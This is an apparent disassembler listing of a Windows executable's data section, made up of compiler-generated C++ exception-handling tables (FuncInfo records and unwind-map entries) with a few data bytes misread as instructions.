dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd offset loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 